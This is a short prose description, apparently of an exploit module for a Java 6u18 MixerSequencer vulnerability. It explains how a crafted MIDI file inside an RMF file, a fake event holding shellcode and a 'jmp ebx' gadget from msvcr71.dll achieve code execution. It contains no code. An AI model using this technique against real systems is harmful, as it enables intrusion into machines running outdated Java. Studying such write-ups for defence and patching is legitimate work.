Description :

This module exploits a flaw within the handling of MixerSequencer objects in Java 6u18 and before. Exploitation id done by supplying a specially crafted MIDI file within an RMF File. When the MixerSequencer objects is used to play the file, the GM_Song structure is populated with a function pointer provided by a SONG block in the RMF. A Midi block that contains a MIDI with a specially crafted controller event is used to trigger the vulnerability. When triggering the vulnerability “ebx” points to a fake event in the MIDI file which stores the shellcode. A “jmp ebx” from msvcr71.dll is used to make the exploit reliable over java updates.
